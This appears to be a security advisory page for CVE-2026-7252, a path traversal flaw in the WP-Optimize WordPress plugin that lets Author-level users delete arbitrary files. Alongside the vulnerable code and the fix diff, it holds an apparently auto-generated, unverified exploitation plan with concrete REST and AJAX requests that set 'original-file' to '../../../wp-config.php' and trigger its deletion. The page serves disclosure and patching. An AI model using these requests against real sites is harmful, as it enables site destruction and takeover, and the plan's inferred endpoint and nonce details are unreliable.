CVE-2026-7252

WP-Optimize <= 4.5.2 - Authenticated (Author+) Arbitrary File Deletion via 'original-file' Post Meta

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
8.1
CVSS Score
8.1
CVSS Score
high
Severity
4.5.3
Patched in
1d
Time to patch

Description

The WP-Optimize – Cache, Compress images, Minify & Clean database to boost page speed & performance plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the unscheduled_original_file_deletion function in all versions up to, and including, 4.5.2 This makes it possible for authenticated attackers, with author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is possible because 'original-file' is a public (non-protected) meta key — it does not begin with an underscore — allowing Authors to freely create or modify it on their own attachment posts via the standard Edit Media form or the REST API.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.5.2
PublishedMay 6, 2026
Last updatedMay 7, 2026
Affected pluginwp-optimize

What Changed in the Fix

Changes introduced in v4.5.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to verify the arbitrary file deletion vulnerability (CVE-2026-7252) in WP-Optimize versions up to 4.5.2. ### 1. Vulnerability Summary WP-Optimize features an image optimization (Smush) component that creates backups of original images before compression. The pl…

Show full research plan

This research plan outlines the steps to verify the arbitrary file deletion vulnerability (CVE-2026-7252) in WP-Optimize versions up to 4.5.2.

1. Vulnerability Summary

WP-Optimize features an image optimization (Smush) component that creates backups of original images before compression. The plugin uses a post meta key named original-file (associated with the attachment) to store the path of the original file.

Because original-file does not start with an underscore, WordPress treats it as a "public" meta key. This allows any user with edit_posts permissions (Author role and above) to modify this value via the REST API or the standard Media Edit form. The function unscheduled_original_file_deletion (likely called during a "Delete Backup" or "Undo Smush" operation) fails to validate that the path stored in this meta key resides within the expected uploads directory, allowing for arbitrary file deletion via path traversal.

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php
  • Action: wpo_smush_delete_backup (Inferred from CSS class wpo_smush_delete_backup_spinner in css/smush-4-5-2.min.css)
  • Vulnerable Parameter: The attachment_id sent to the AJAX action, which then retrieves the original-file meta.
  • Injection Point: wp-json/wp/v2/media/<id> (REST API) to set the original-file meta value.
  • Authentication: Authenticated, Author-level access or higher.
  • Preconditions:
    1. The attacker must have an Author account.
    2. The attacker must have uploaded at least one media file (to have an attachment ID to manipulate).

3. Code Flow (Inferred)

  1. Meta Injection: An Author sends a REST API request to update their attachment's metadata. Since original-file is public, WordPress allows the update.
  2. Trigger: The Author triggers the wpo_smush_delete_backup AJAX action for that specific attachment ID.
  3. Retrieval: The AJAX handler calls unscheduled_original_file_deletion($attachment_id).
  4. Path Retrieval: The function calls get_post_meta($attachment_id, 'original-file', true).
  5. Sink: The retrieved path (e.g., ../../../../wp-config.php) is passed directly to a deletion function (e.g., wp_delete_file() or unlink()) without sufficient traversal checks.

4. Nonce Acquisition Strategy

The Smush actions in WP-Optimize are protected by nonces localized in the admin UI.

  1. Requirement: To see the Smush interface and get the nonce, the user must be in the Admin dashboard.
  2. Location: The nonces are typically found in the wpo_smush_vars JavaScript object localized on the "WP-Optimize > Images" page.
  3. Acquisition Steps:
    • Log in as an Author.
    • Navigate to the WP-Optimize Images page: /wp-admin/admin.php?page=wp-optimize-images.
    • Use browser_eval to extract the nonce:
      window.wpo_smush_vars?.delete_backup_nonce
      
    • If the above is unavailable, check window.wp_optimize_ajax_vars?.nonce.

5. Exploitation Strategy

Step 1: Meta Injection (Path Traversal Setup)

As an Author, update the metadata of an image you own to point to wp-config.php.

  • Request: POST /wp-json/wp/v2/media/<ATTACHMENT_ID>
  • Headers: Content-Type: application/json, X-WP-Nonce: <REST_NONCE>
  • Body:
    {
      "meta": {
        "original-file": "../../../wp-config.php"
      }
    }
    
    (Note: The number of ../ depends on the structure, but ../../../wp-config.php usually reaches the root from the year/month upload directory.)

Step 2: Trigger File Deletion

Call the AJAX action that processes the deletion.

  • Request: POST /wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpo_smush_delete_backup&attachment_id=<ATTACHMENT_ID>&nonce=<DELETE_BACKUP_NONCE>
    

6. Test Data Setup

  1. User: Create a user attacker with the author role.
  2. File: As attacker, upload a small PNG file to the Media Library. Note its id (e.g., 123).
  3. Target: Ensure wp-config.php exists in the WordPress root.

7. Expected Results

  • The REST API call should return 200 OK, confirming the meta key was updated.
  • The AJAX call should return a success message (likely JSON with success: true).
  • The file wp-config.php should be deleted from the server.

8. Verification Steps

  1. File Existence: Check if the file still exists using the shell:
    ls -la /var/www/html/wp-config.php
    
  2. WP-CLI Check: Try to run a WP-CLI command. If wp-config.php is missing, it will fail:
    wp option get siteurl
    
    Expected Error: "Error: The 'wp-config.php' file could not be found."

9. Alternative Approaches

  • Absolute Path: If the plugin doesn't prepend the upload directory path, try an absolute path: /var/www/html/wp-config.php.
  • Other Meta Keys: If original-file is patched, look for other public meta keys used in the Updraft_Smush_Manager class (referenced in changelog.txt).
  • REST API Nonce: If the REST API is blocked for Authors, the meta can be updated via the wp-admin/post.php (Edit Media) page using the custom_meta or standard meta update fields if exposed.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP-Optimize plugin is vulnerable to authenticated arbitrary file deletion due to a path traversal flaw in the image optimization backup cleanup process. Because the 'original-file' post meta key is public, an attacker with Author-level permissions can modify this metadata to point to sensitive system files (like wp-config.php) and then trigger their deletion, potentially leading to a full site takeover or remote code execution.

Vulnerable Code

// includes/class-updraft-smush-manager.php:1644
public function unscheduled_original_file_deletion($post_id) {
	$the_original_file = get_post_meta($post_id, 'original-file', true);
	$uploads_dir = wp_get_upload_dir();
	$the_original_file = trailingslashit($uploads_dir['basedir'])  . $the_original_file;
	if ('' != $the_original_file && file_exists($the_original_file)) {
		wp_delete_file($the_original_file);
	}
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-optimize/4.5.2/includes/class-updraft-smush-manager.php /home/deploy/wp-safety.org/data/plugin-versions/wp-optimize/4.5.3/includes/class-updraft-smush-manager.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-optimize/4.5.2/includes/class-updraft-smush-manager.php	2026-04-21 16:53:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-optimize/4.5.3/includes/class-updraft-smush-manager.php	2026-04-29 13:55:38.000000000 +0000
@@ -83,6 +83,8 @@
 		add_filter('manage_media_columns', array($this, 'manage_media_columns'));
 		add_action('manage_media_custom_column', array($this, 'manage_media_custom_column'), 10, 2);
 
+		add_filter('is_protected_meta', array($this, 'is_protected_meta'), 10, 3);
+
 		// clean backup images cron action.
 		add_action('wpo_smush_clear_backup_images', array($this, 'clear_backup_images'));
 
@@ -376,12 +378,20 @@
 
 		$image_path = get_attached_file($image_id);
 		$backup_path = get_post_meta($image_id, 'original-file', true);
-		
+		$uploads_dir = wp_upload_dir();
+		$uploads_basedir = realpath($uploads_dir['basedir']);
+
+		if (false === $uploads_basedir) {
+			if ($switched_blog) {
+				restore_current_blog();
+			}
+			return new WP_Error('restore_backup_issue', __('The uploads base directory is not correct.', 'wp-optimize'));
+		}
+
+		$uploads_basedir = trailingslashit($uploads_basedir);
+
 		// If the file doesn't exist, check if it's relative
 		if (!is_file($backup_path)) {
-			$uploads_dir = wp_upload_dir();
-			$uploads_basedir = trailingslashit($uploads_dir['basedir']);
-
 			if (is_file($uploads_basedir . $backup_path)) {
 				$backup_path = $uploads_basedir . $backup_path;
 			}
@@ -412,6 +422,15 @@
 			}
 		}
 
+		$backup_path = realpath($backup_path);
+
+		if (!$backup_path || 0 !== strpos($backup_path, $uploads_basedir)) {
+			if ($switched_blog) {
+				restore_current_blog();
+			}
+			return new WP_Error('restore_backup_issue', __('The backup file path is not correct.', 'wp-optimize'));
+		}
+
 		if (!is_file($backup_path)) {
 			// Delete information about backup.
 			delete_post_meta($image_id, 'original-file');
@@ -1644,8 +1663,11 @@
 	public function unscheduled_original_file_deletion($post_id) {
 		$the_original_file = get_post_meta($post_id, 'original-file', true);
 		$uploads_dir = wp_get_upload_dir();
-		$the_original_file = trailingslashit($uploads_dir['basedir'])  . $the_original_file;
-		if ('' != $the_original_file && file_exists($the_original_file)) {
+		$uploads_basedir = realpath($uploads_dir['basedir']);
+		if (!$uploads_basedir) return;
+		$uploads_basedir = trailingslashit($uploads_basedir);
+		$the_original_file = realpath($uploads_basedir  . $the_original_file);
+		if ($the_original_file && 0 === strpos($the_original_file, $uploads_basedir) && file_exists($the_original_file)) {
 			wp_delete_file($the_original_file);
 		}
 	}
@@ -1736,6 +1758,36 @@
 			),
 		);
 	}
+
+	/**
+	 * Protects smush meta keys
+	 *
+	 * @param bool   $protected Whether the key is considered protected
+	 * @param string $meta_key  Metadata key
+	 * @param string $meta_type Type of metadata object
+	 *
+	 * @return bool
+	 */
+	public function is_protected_meta($protected, $meta_key, $meta_type) {
+		if ('post' !== $meta_type) {
+			return $protected;
+		}
+
+		$keys = array(
+			'smush-complete',
+			'smush-marked',
+			'smush-info',
+			'smush-stats',
+			'original-file',
+			'wpo-webp-conversion-complete',
+		);
+
+		if (in_array($meta_key, $keys, true)) {
+			return true;
+		}
+
+		return $protected;
+	}
 }

Exploit Outline

To exploit this vulnerability, an attacker with Author-level access (or higher) must first upload a media file to obtain an attachment ID. They then send a REST API request to `POST /wp-json/wp/v2/media/<ID>` containing a JSON payload that sets the `meta` key `original-file` to a path traversal string (e.g., `../../../wp-config.php`). Finally, the attacker triggers the file deletion by invoking the `wpo_smush_delete_backup` AJAX action via `admin-ajax.php`, providing the attachment ID and a valid security nonce (retrieved from the WP-Optimize admin UI). The plugin then deletes the file specified in the metadata without validating that it is located within the intended uploads directory.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.